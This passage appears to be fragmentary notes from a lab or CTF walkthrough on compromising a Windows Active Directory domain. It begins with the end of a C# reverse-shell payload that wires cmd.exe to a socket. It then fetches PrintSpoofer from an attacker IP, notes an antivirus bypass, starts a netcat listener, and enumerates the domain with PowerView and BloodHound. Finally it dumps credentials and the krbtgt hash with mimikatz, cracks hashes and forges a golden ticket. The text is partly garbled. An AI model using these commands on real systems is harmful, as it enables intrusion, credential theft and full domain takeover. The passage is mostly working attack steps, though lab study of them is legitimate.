retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
}
protected void SpawnProcessAsPriv(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
IntPtr DupeToken = new IntPtr(0);
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
if (DupeToken == IntPtr.Zero)
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
else
retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
CloseHandle(DupeToken);
}
</script>
Certutil
gets filtered by AV while iwr
doesn’t get bypassed.iwr http://10.8.36.31:8002/PrintSpoofer64.exe -Outfile C:\Users\Bob\Desktop\PrintSpoofer64.exe
An account that has the SeImpersonate privilege enabled has the ability to impersonate another client after authentication. This means that this privilege allows the account to impersonate other accounts, so long as they have authenticated. Whenever a user authenticates to a host, a token (logon sessions inside the LSASS process) resides on the system until the next restart.
Exploit link-:
sudo rlwrap -cAr nc -nlvp 1337
powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetUser | select cn
Get-NetGroup -GroupName *admin*
Enumerating more, use cheatsheet and here
Enumerating shares in AD-:
Invoke-ShareFinder
Get-NetComputer -fulldata | select operatingsystem
apt-get install bloodhound
neo4j console #- default credentials -> neo4j:neo4j
powershell -ep bypass
Import-Module .\SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
bloodhound
, creds is defualt-: neo4j:neo4j
, the current bloodhound version requires you to change password of neo4j db.The highlighted part is the import part.computers.json
file before uploading the loot.zip
Check analysis for queries to try-:python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali . -smb2support
.\mimikatz.exe
privilege::debug
-:This ensures that you’re running mimikatz as an administrator; if you don’t run mimikatz as an administrator, mimikatz will not run properly.It should be 200: ok
.lsadump::lsa /patch
hashcat -m 1000 <hash> rockyou.txt
Kerberos Ticket Granting Ticket
account, this dumps the hash and security identifier of the Kerberos Ticket Granting Ticket account allowing you to create a golden ticket.lsadump::lsa /inject /name:krbtgt
kerberos::golden /user: /domain: /sid: /krbtgt: /id:
misc::cmd
to spawn an elevated shell-:/timeout:60000